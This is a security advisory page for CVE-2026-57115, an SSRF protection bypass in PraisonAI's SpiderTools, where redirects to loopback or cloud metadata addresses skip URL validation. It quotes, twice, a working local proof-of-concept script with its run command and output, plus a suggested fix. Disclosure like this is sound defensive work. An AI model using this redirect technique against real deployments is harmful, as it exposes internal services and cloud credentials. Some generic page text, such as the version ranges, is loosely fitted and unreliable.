CVE-2026-57115: PraisonAI SpiderTools Redirect-target SSRF Protection Bypass Vulnerability

MODERATE
Advisory Identifier: GHSA-6h9p-93hq-q7h6
CVSS 6.5
CWE-918
Published
Advisory Summary

CVE-2026-57115 is a MODERATE (CVSS 6.5) spidertools redirect-target ssrf protection bypass vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves spidertools redirect-target ssrf protection bypass. Remediation is available by upgrading affected packages to version 1.6.59.

CVE-2026-57115 at a Glance

CVE Identifier CVE-2026-57115
GHSA Identifier GHSA-6h9p-93hq-q7h6
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-57115

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonaiagents fixed: 1.6.59
pip install praisonaiagents>=1.6.59
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonaiagents

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-57115, inspect your installed packages using pip:

pip show praisonaiagents

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.59), your application is affected.

Note: The pip show praisonaiagents command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# SpiderTools redirect-target SSRF protection bypass ## Summary `SpiderTools.scrape_page()` validates the initial URL and rejects direct loopback, private, link-local, metadata, and internal hostnames. It then calls `requests.Session.get()` without disabling automatic redirects or validating redirect `Location` targets. Requests follows redirects by default for GET requests. A safe-looking public URL can therefore pass `_validate_url()`, redirect to a blocked target such as `127.0.0.1` or `169.254.169.254`, and have the redirected response body parsed and returned by `scrape_page()`. The same sink is used by `extract_links()`, `crawl()`, and `extract_text()` through their calls to `scrape_page()`. ## Affected component ```text src/praisonai-agents/praisonaiagents/tools/spider_tools.py ``` Tested affected: - `v3.9.24` / `d08d98ca` - `v3.9.26` / `62472a23` - `v4.6.56` / `d3c4a2af` - `v4.6.57` / `e90d92231853161ad931f3498da57651a9f8b528` - current main `2f9677abb2ea68eab864ee8b6a828fd0141612e1` No patched version is known at report time. ## Root cause Current main validates only the caller-supplied URL: ```python if not self._validate_url(url): return {"error": f"Invalid or potentially dangerous URL: {url}"} ``` The fetch then uses Requests defaults: ```python response = session.get( url, timeout=timeout, verify=verify_ssl ) ``` Because `allow_redirects=False` is not set, Requests follows a 3xx redirect to a new destination that has not been checked by `_validate_url()` or `_host_is_blocked()`. ## Proof of vulnerability The PoV below is local-only and does not contact external infrastructure. It starts a loopback-only internal service and a local redirector. During PraisonAI's initial host validation, `attacker.test` is made to look like a public address. During the actual HTTP request, it routes to the local redirector, which returns `302 Location: http://127.0.0.1:<port>/secret`. Full PoV: ```python #!/usr/bin/env python3 """Local PoV for SpiderTools redirect-target SSRF. This uses only loopback services. The "attacker" hostname is treated as public during PraisonAI's initial URL validation, then routed to a local redirector so the PoV does not contact external infrastructure. The redirector points at a loopback-only internal service. Vulnerable behavior is confirmed when SpiderTools follows that redirect and returns the internal response body. """ from __future__ import annotations import http.server import importlib.util import inspect import os import socket import socketserver import threading from typing import Any def _load_spider_tools_class(): module_file = os.environ.get("PRAISONAI_SPIDER_TOOLS_FILE") if module_file: spec = importlib.util.spec_from_file_location("pov_spider_tools", module_file) if spec is None or spec.loader is None: raise RuntimeError(f"Could not load spider_tools file: {module_file}") module = importlib.util.module_from_spec(spec) spec.loader.exec_module(module) return module.SpiderTools from praisonaiagents.tools.spider_tools import SpiderTools return SpiderTools class InternalHandler(http.server.BaseHTTPRequestHandler): body = b"SPIDER-INTERNAL-SECRET" def do_GET(self) -> None: # noqa: N802 self.server.hit = True # type: ignore[attr-defined] self.send_response(200) self.send_header("Content-Type", "text/html") self.send_header("Content-Length", str(len(self.body))) self.end_headers() self.wfile.write(self.body) def log_message(self, *_args: Any) -> None: return class RedirectHandler(http.server.BaseHTTPRequestHandler): target = "" def do_GET(self) -> None: # noqa: N802 self.server.hit = True # type: ignore[attr-defined] self.send_response(302) self.send_header("Location", self.target) self.end_headers() def log_message(self, *_args: Any) -> None: return def _called_from_spider_host_guard() -> bool: return any(frame.function == "_host_is_blocked" for frame in inspect.stack()) def main() -> int: os.environ.pop("ALLOW_LOCAL_CRAWL", None) internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler) internal.hit = False # type: ignore[attr-defined] internal_port = internal.server_address[1] RedirectHandler.target = f"http://127.0.0.1:{internal_port}/secret" redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler) redirect.hit = False # type: ignore[attr-defined] redirect_port = redirect.server_address[1] threading.Thread(target=internal.serve_forever, daemon=True).start() threading.Thread(target=redirect.serve_forever, daemon=True).start() original_getaddrinfo = socket.getaddrinfo def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any): if host == "attacker.test": if _called_from_spider_host_guard(): return [ ( socket.AF_INET, socket.SOCK_STREAM, 6, "", ("93.184.216.34", port), ) ] return original_getaddrinfo("127.0.0.1", port, *args, **kwargs) return original_getaddrinfo(host, port, *args, **kwargs) tool = _load_spider_tools_class()() socket.getaddrinfo = fake_getaddrinfo try: direct_control = tool.scrape_page( f"http://127.0.0.1:{internal_port}/secret", timeout=5, ) redirect_result = tool.scrape_page( f"http://attacker.test:{redirect_port}/go", timeout=5, ) vulnerable_redirect_hit = bool(redirect.hit) # type: ignore[attr-defined] vulnerable_internal_hit = bool(internal.hit) # type: ignore[attr-defined] redirect.hit = False # type: ignore[attr-defined] internal.hit = False # type: ignore[attr-defined] import requests original_session_get = requests.Session.get def no_redirect_get(self, url, **kwargs): # type: ignore[no-untyped-def] kwargs.setdefault("allow_redirects", False) return original_session_get(self, url, **kwargs) requests.Session.get = no_redirect_get try: no_redirect_control = _load_spider_tools_class()().scrape_page( f"http://attacker.test:{redirect_port}/go", timeout=5, ) finally: requests.Session.get = original_session_get no_redirect_redirect_hit = bool(redirect.hit) # type: ignore[attr-defined] no_redirect_internal_hit = bool(internal.hit) # type: ignore[attr-defined] finally: socket.getaddrinfo = original_getaddrinfo redirect.shutdown() internal.shutdown() redirect.server_close() internal.server_close() print("DIRECT_CONTROL:", direct_control) print("REDIRECT_RESULT:", redirect_result) print("REDIRECT_SERVER_HIT:", vulnerable_redirect_hit) print("INTERNAL_SERVER_HIT:", vulnerable_internal_hit) print("NO_REDIRECT_CONTROL:", no_redirect_control) print("NO_REDIRECT_SERVER_HIT:", no_redirect_redirect_hit) print("NO_REDIRECT_INTERNAL_HIT:", no_redirect_internal_hit) if not isinstance(direct_control, dict) or "dangerous URL" not in str(direct_control): raise SystemExit("control failed: direct loopback was not blocked") if not isinstance(redirect_result, dict) or "error" in redirect_result: raise SystemExit(f"bypass failed: unexpected result {redirect_result!r}") if "SPIDER-INTERNAL-SECRET" not in str(redirect_result.get("content", "")): raise SystemExit("bypass failed: internal body was not returned") if not vulnerable_redirect_hit or not vulnerable_internal_hit: raise SystemExit("bypass failed: expected local servers were not hit") if not no_redirect_redirect_hit or no_redirect_internal_hit: raise SystemExit("fix control failed: no-redirect mode reached internal service") print("PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback") return 0 if __name__ == "__main__": raise SystemExit(main()) ``` Run: ```fish cd /Users/rexliu/Documents/GA\ code/REDit\ Deployment/stack/deploy env PRAISONAI_SPIDER_TOOLS_FILE=/path/to/PraisonAI/src/praisonai-agents/praisonaiagents/tools/spider_tools.py \ uv run --with requests --with beautifulsoup4 --with lxml --python 3.11 \ poc_spider_tools_redirect_ssrf.py ``` Observed on current main: ```text DIRECT_CONTROL: {'error': 'Invalid or potentially dangerous URL: http://127.0.0.1:<port>/secret'} REDIRECT_RESULT: {'url': 'http://attacker.test:<port>/go', 'status_code': 200, ... 'content': 'SPIDER-INTERNAL-SECRET', ...} REDIRECT_SERVER_HIT: True INTERNAL_SERVER_HIT: True NO_REDIRECT_CONTROL: {'url': 'http://attacker.test:<port>/go', 'status_code': 302, ... 'Location': 'http://127.0.0.1:<port>/secret', ...} NO_REDIRECT_SERVER_HIT: True NO_REDIRECT_INTERNAL_HIT: False PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback ``` The direct control proves direct loopback is blocked. The redirect result proves the same blocked destination is reached through a public-looking initial URL. The no-redirect control proves that disabling automatic redirects prevents the internal request while still receiving the external redirect response. ## Why this is not intended behavior The Spider Tools documentation says `scrape_page`, `extract_links`, `crawl`, and `extract_text` refuse dangerous URLs before network requests. The documented blocked classes include loopback, private/reserved IPs, link-local/cloud metadata endpoints, internal TLDs, non-HTTP(S) schemes, and parser-smuggling forms. The same page states the validation is always on for bundled spider tools and does not require `enable_security()`. The current code also documents `_validate_url()` as URL validation "to prevent SSRF attacks." A redirect to a loopback target bypasses that documented protection. ## Impact An attacker who can influence a URL passed to `scrape_page()`, `extract_links()`, `crawl()`, or `extract_text()` can cause the PraisonAI process to request destinations that SpiderTools is designed to block. Potential impact includes: - reading loopback-only HTTP services; - probing or reading private network services reachable from the PraisonAI host; - reading link-local/cloud metadata endpoints if reachable in the deployment environment. The PoV demonstrates returned response-body disclosure from a loopback-only service. This report does not claim arbitrary code execution or live cloud credential theft without deployment-specific evidence. ## Severity Suggested default severity: Moderate. High severity may be appropriate for deployments where untrusted users can directly invoke SpiderTools through a network-facing agent, bot, API, or MCP service and sensitive internal or metadata services are reachable. ## Suggested fix Disable automatic redirects in `scrape_page()`: ```python response = session.get( url, timeout=timeout, verify=verify_ssl, allow_redirects=False, ) ``` If redirects should remain supported, follow them manually and validate every `Location` target before each hop using the same SSRF guard: - require `http` or `https`; - resolve and validate every redirect hostname; - reject loopback, private, link-local, reserved, multicast, unspecified, internal, and metadata destinations; - cap redirect count; - apply the same safe fetch path to `scrape_page()`, `extract_links()`, `crawl()`, and `extract_text()`. Regression tests should cover direct loopback rejection, public-to-loopback redirect rejection, public-to-public redirects if supported, and all `scrape_page()` callers.

CVE-2026-57115 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
1.6.59
Product / Package Ecosystem Affected Versions Fixed Version
praisonaiagents
PyPI
< 1.6.59
1.6.59

References

Frequently Asked Questions

What is CVE-2026-57115?
CVE-2026-57115 is a security vulnerability in PraisonAI involving SpiderTools redirect-target SSRF protection bypass under CWE-918: Server-Side Request Forgery (SSRF).
Which PraisonAI versions are affected?
Affected versions include releases prior to 1.6.59 across affected packages: praisonaiagents.
What version fixes CVE-2026-57115?
Upgrading to 1.6.59 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonaiagents affected?
Yes, praisonaiagents is affected in releases prior to 1.6.59. Upgrade your dependency to 1.6.59 or later.
What is the CVSS score of CVE-2026-57115?
CVE-2026-57115 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-57115?
CVE-2026-57115 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check PyPI dependencies for CVE-2026-57115?
Run the dependency tree command: 'pip show praisonaiagents'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6h9p-93hq-q7h6",
  "modified" : "2026-07-20T21:24:09Z",
  "published" : "2026-06-18T13:55:14Z",
  "aliases" : [ "CVE-2026-57115" ],
  "summary" : "PraisonAI: SpiderTools redirect-target SSRF protection bypass",
  "details" : "# SpiderTools redirect-target SSRF protection bypass\n\n## Summary\n\n`SpiderTools.scrape_page()` validates the initial URL and rejects direct\nloopback, private, link-local, metadata, and internal hostnames. It then calls\n`requests.Session.get()` without disabling automatic redirects or validating\nredirect `Location` targets.\n\nRequests follows redirects by default for GET requests. A safe-looking public\nURL can therefore pass `_validate_url()`, redirect to a blocked target such as\n`127.0.0.1` or `169.254.169.254`, and have the redirected response body parsed\nand returned by `scrape_page()`.\n\nThe same sink is used by `extract_links()`, `crawl()`, and `extract_text()`\nthrough their calls to `scrape_page()`.\n\n## Affected component\n\n```text\nsrc/praisonai-agents/praisonaiagents/tools/spider_tools.py\n```\n\nTested affected:\n\n- `v3.9.24` / `d08d98ca`\n- `v3.9.26` / `62472a23`\n- `v4.6.56` / `d3c4a2af`\n- `v4.6.57` / `e90d92231853161ad931f3498da57651a9f8b528`\n- current main `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n\nNo patched version is known at report time.\n\n## Root cause\n\nCurrent main validates only the caller-supplied URL:\n\n```python\nif not self._validate_url(url):\n    return {\"error\": f\"Invalid or potentially dangerous URL: {url}\"}\n```\n\nThe fetch then uses Requests defaults:\n\n```python\nresponse = session.get(\n    url,\n    timeout=timeout,\n    verify=verify_ssl\n)\n```\n\nBecause `allow_redirects=False` is not set, Requests follows a 3xx redirect to a\nnew destination that has not been checked by `_validate_url()` or\n`_host_is_blocked()`.\n\n## Proof of vulnerability\n\nThe PoV below is local-only and does not contact external infrastructure. It\nstarts a loopback-only internal service and a local redirector. During\nPraisonAI's initial host validation, `attacker.test` is made to look like a\npublic address. During the actual HTTP request, it routes to the local\nredirector, which returns `302 Location: http://127.0.0.1:<port>/secret`.\n\nFull PoV:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for SpiderTools redirect-target SSRF.\n\nThis uses only loopback services. The \"attacker\" hostname is treated as public\nduring PraisonAI's initial URL validation, then routed to a local redirector so\nthe PoV does not contact external infrastructure. The redirector points at a\nloopback-only internal service. Vulnerable behavior is confirmed when\nSpiderTools follows that redirect and returns the internal response body.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport http.server\nimport importlib.util\nimport inspect\nimport os\nimport socket\nimport socketserver\nimport threading\nfrom typing import Any\n\n\ndef _load_spider_tools_class():\n    module_file = os.environ.get(\"PRAISONAI_SPIDER_TOOLS_FILE\")\n    if module_file:\n        spec = importlib.util.spec_from_file_location(\"pov_spider_tools\", module_file)\n        if spec is None or spec.loader is None:\n            raise RuntimeError(f\"Could not load spider_tools file: {module_file}\")\n        module = importlib.util.module_from_spec(spec)\n        spec.loader.exec_module(module)\n        return module.SpiderTools\n\n    from praisonaiagents.tools.spider_tools import SpiderTools\n\n    return SpiderTools\n\n\nclass InternalHandler(http.server.BaseHTTPRequestHandler):\n    body = b\"SPIDER-INTERNAL-SECRET\"\n\n    def do_GET(self) -> None:  # noqa: N802\n        self.server.hit = True  # type: ignore[attr-defined]\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html\")\n        self.send_header(\"Content-Length\", str(len(self.body)))\n        self.end_headers()\n        self.wfile.write(self.body)\n\n    def log_message(self, *_args: Any) -> None:\n        return\n\n\nclass RedirectHandler(http.server.BaseHTTPRequestHandler):\n    target = \"\"\n\n    def do_GET(self) -> None:  # noqa: N802\n        self.server.hit = True  # type: ignore[attr-defined]\n        self.send_response(302)\n        self.send_header(\"Location\", self.target)\n        self.end_headers()\n\n    def log_message(self, *_args: Any) -> None:\n        return\n\n\ndef _called_from_spider_host_guard() -> bool:\n    return any(frame.function == \"_host_is_blocked\" for frame in inspect.stack())\n\n\ndef main() -> int:\n    os.environ.pop(\"ALLOW_LOCAL_CRAWL\", None)\n\n    internal = socketserver.TCPServer((\"127.0.0.1\", 0), InternalHandler)\n    internal.hit = False  # type: ignore[attr-defined]\n    internal_port = internal.server_address[1]\n\n    RedirectHandler.target = f\"http://127.0.0.1:{internal_port}/secret\"\n    redirect = socketserver.TCPServer((\"127.0.0.1\", 0), RedirectHandler)\n    redirect.hit = False  # type: ignore[attr-defined]\n    redirect_port = redirect.server_address[1]\n\n    threading.Thread(target=internal.serve_forever, daemon=True).start()\n    threading.Thread(target=redirect.serve_forever, daemon=True).start()\n\n    original_getaddrinfo = socket.getaddrinfo\n\n    def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):\n        if host == \"attacker.test\":\n            if _called_from_spider_host_guard():\n                return [\n                    (\n                        socket.AF_INET,\n                        socket.SOCK_STREAM,\n                        6,\n                        \"\",\n                        (\"93.184.216.34\", port),\n                    )\n                ]\n            return original_getaddrinfo(\"127.0.0.1\", port, *args, **kwargs)\n        return original_getaddrinfo(host, port, *args, **kwargs)\n\n    tool = _load_spider_tools_class()()\n    socket.getaddrinfo = fake_getaddrinfo\n    try:\n        direct_control = tool.scrape_page(\n            f\"http://127.0.0.1:{internal_port}/secret\",\n            timeout=5,\n        )\n        redirect_result = tool.scrape_page(\n            f\"http://attacker.test:{redirect_port}/go\",\n            timeout=5,\n        )\n        vulnerable_redirect_hit = bool(redirect.hit)  # type: ignore[attr-defined]\n        vulnerable_internal_hit = bool(internal.hit)  # type: ignore[attr-defined]\n\n        redirect.hit = False  # type: ignore[attr-defined]\n        internal.hit = False  # type: ignore[attr-defined]\n\n        import requests\n\n        original_session_get = requests.Session.get\n\n        def no_redirect_get(self, url, **kwargs):  # type: ignore[no-untyped-def]\n            kwargs.setdefault(\"allow_redirects\", False)\n            return original_session_get(self, url, **kwargs)\n\n        requests.Session.get = no_redirect_get\n        try:\n            no_redirect_control = _load_spider_tools_class()().scrape_page(\n                f\"http://attacker.test:{redirect_port}/go\",\n                timeout=5,\n            )\n        finally:\n            requests.Session.get = original_session_get\n        no_redirect_redirect_hit = bool(redirect.hit)  # type: ignore[attr-defined]\n        no_redirect_internal_hit = bool(internal.hit)  # type: ignore[attr-defined]\n    finally:\n        socket.getaddrinfo = original_getaddrinfo\n        redirect.shutdown()\n        internal.shutdown()\n        redirect.server_close()\n        internal.server_close()\n\n    print(\"DIRECT_CONTROL:\", direct_control)\n    print(\"REDIRECT_RESULT:\", redirect_result)\n    print(\"REDIRECT_SERVER_HIT:\", vulnerable_redirect_hit)\n    print(\"INTERNAL_SERVER_HIT:\", vulnerable_internal_hit)\n    print(\"NO_REDIRECT_CONTROL:\", no_redirect_control)\n    print(\"NO_REDIRECT_SERVER_HIT:\", no_redirect_redirect_hit)\n    print(\"NO_REDIRECT_INTERNAL_HIT:\", no_redirect_internal_hit)\n\n    if not isinstance(direct_control, dict) or \"dangerous URL\" not in str(direct_control):\n        raise SystemExit(\"control failed: direct loopback was not blocked\")\n    if not isinstance(redirect_result, dict) or \"error\" in redirect_result:\n        raise SystemExit(f\"bypass failed: unexpected result {redirect_result!r}\")\n    if \"SPIDER-INTERNAL-SECRET\" not in str(redirect_result.get(\"content\", \"\")):\n        raise SystemExit(\"bypass failed: internal body was not returned\")\n    if not vulnerable_redirect_hit or not vulnerable_internal_hit:\n        raise SystemExit(\"bypass failed: expected local servers were not hit\")\n    if not no_redirect_redirect_hit or no_redirect_internal_hit:\n        raise SystemExit(\"fix control failed: no-redirect mode reached internal service\")\n\n    print(\"PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nRun:\n\n```fish\ncd /Users/rexliu/Documents/GA\\ code/REDit\\ Deployment/stack/deploy\nenv PRAISONAI_SPIDER_TOOLS_FILE=/path/to/PraisonAI/src/praisonai-agents/praisonaiagents/tools/spider_tools.py \\\n  uv run --with requests --with beautifulsoup4 --with lxml --python 3.11 \\\n  poc_spider_tools_redirect_ssrf.py\n```\n\nObserved on current main:\n\n```text\nDIRECT_CONTROL: {'error': 'Invalid or potentially dangerous URL: http://127.0.0.1:<port>/secret'}\nREDIRECT_RESULT: {'url': 'http://attacker.test:<port>/go', 'status_code': 200, ... 'content': 'SPIDER-INTERNAL-SECRET', ...}\nREDIRECT_SERVER_HIT: True\nINTERNAL_SERVER_HIT: True\nNO_REDIRECT_CONTROL: {'url': 'http://attacker.test:<port>/go', 'status_code': 302, ... 'Location': 'http://127.0.0.1:<port>/secret', ...}\nNO_REDIRECT_SERVER_HIT: True\nNO_REDIRECT_INTERNAL_HIT: False\nPRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback\n```\n\nThe direct control proves direct loopback is blocked. The redirect result proves\nthe same blocked destination is reached through a public-looking initial URL.\nThe no-redirect control proves that disabling automatic redirects prevents the\ninternal request while still receiving the external redirect response.\n\n## Why this is not intended behavior\n\nThe Spider Tools documentation says `scrape_page`, `extract_links`, `crawl`, and\n`extract_text` refuse dangerous URLs before network requests. The documented\nblocked classes include loopback, private/reserved IPs, link-local/cloud\nmetadata endpoints, internal TLDs, non-HTTP(S) schemes, and parser-smuggling\nforms. The same page states the validation is always on for bundled spider tools\nand does not require `enable_security()`.\n\nThe current code also documents `_validate_url()` as URL validation \"to prevent\nSSRF attacks.\" A redirect to a loopback target bypasses that documented\nprotection.\n\n## Impact\n\nAn attacker who can influence a URL passed to `scrape_page()`,\n`extract_links()`, `crawl()`, or `extract_text()` can cause the PraisonAI process\nto request destinations that SpiderTools is designed to block.\n\nPotential impact includes:\n\n- reading loopback-only HTTP services;\n- probing or reading private network services reachable from the PraisonAI host;\n- reading link-local/cloud metadata endpoints if reachable in the deployment\n  environment.\n\nThe PoV demonstrates returned response-body disclosure from a loopback-only\nservice. This report does not claim arbitrary code execution or live cloud\ncredential theft without deployment-specific evidence.\n\n## Severity\n\nSuggested default severity: Moderate.\n\nHigh severity may be appropriate for deployments where untrusted users can\ndirectly invoke SpiderTools through a network-facing agent, bot, API, or MCP\nservice and sensitive internal or metadata services are reachable.\n\n## Suggested fix\n\nDisable automatic redirects in `scrape_page()`:\n\n```python\nresponse = session.get(\n    url,\n    timeout=timeout,\n    verify=verify_ssl,\n    allow_redirects=False,\n)\n```\n\nIf redirects should remain supported, follow them manually and validate every\n`Location` target before each hop using the same SSRF guard:\n\n- require `http` or `https`;\n- resolve and validate every redirect hostname;\n- reject loopback, private, link-local, reserved, multicast, unspecified,\n  internal, and metadata destinations;\n- cap redirect count;\n- apply the same safe fetch path to `scrape_page()`, `extract_links()`,\n  `crawl()`, and `extract_text()`.\n\nRegression tests should cover direct loopback rejection, public-to-loopback\nredirect rejection, public-to-public redirects if supported, and all\n`scrape_page()` callers.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonaiagents"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.59"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.6.58"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h9p-93hq-q7h6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-18T13:55:14Z",
    "nvd_published_at" : null
  }
}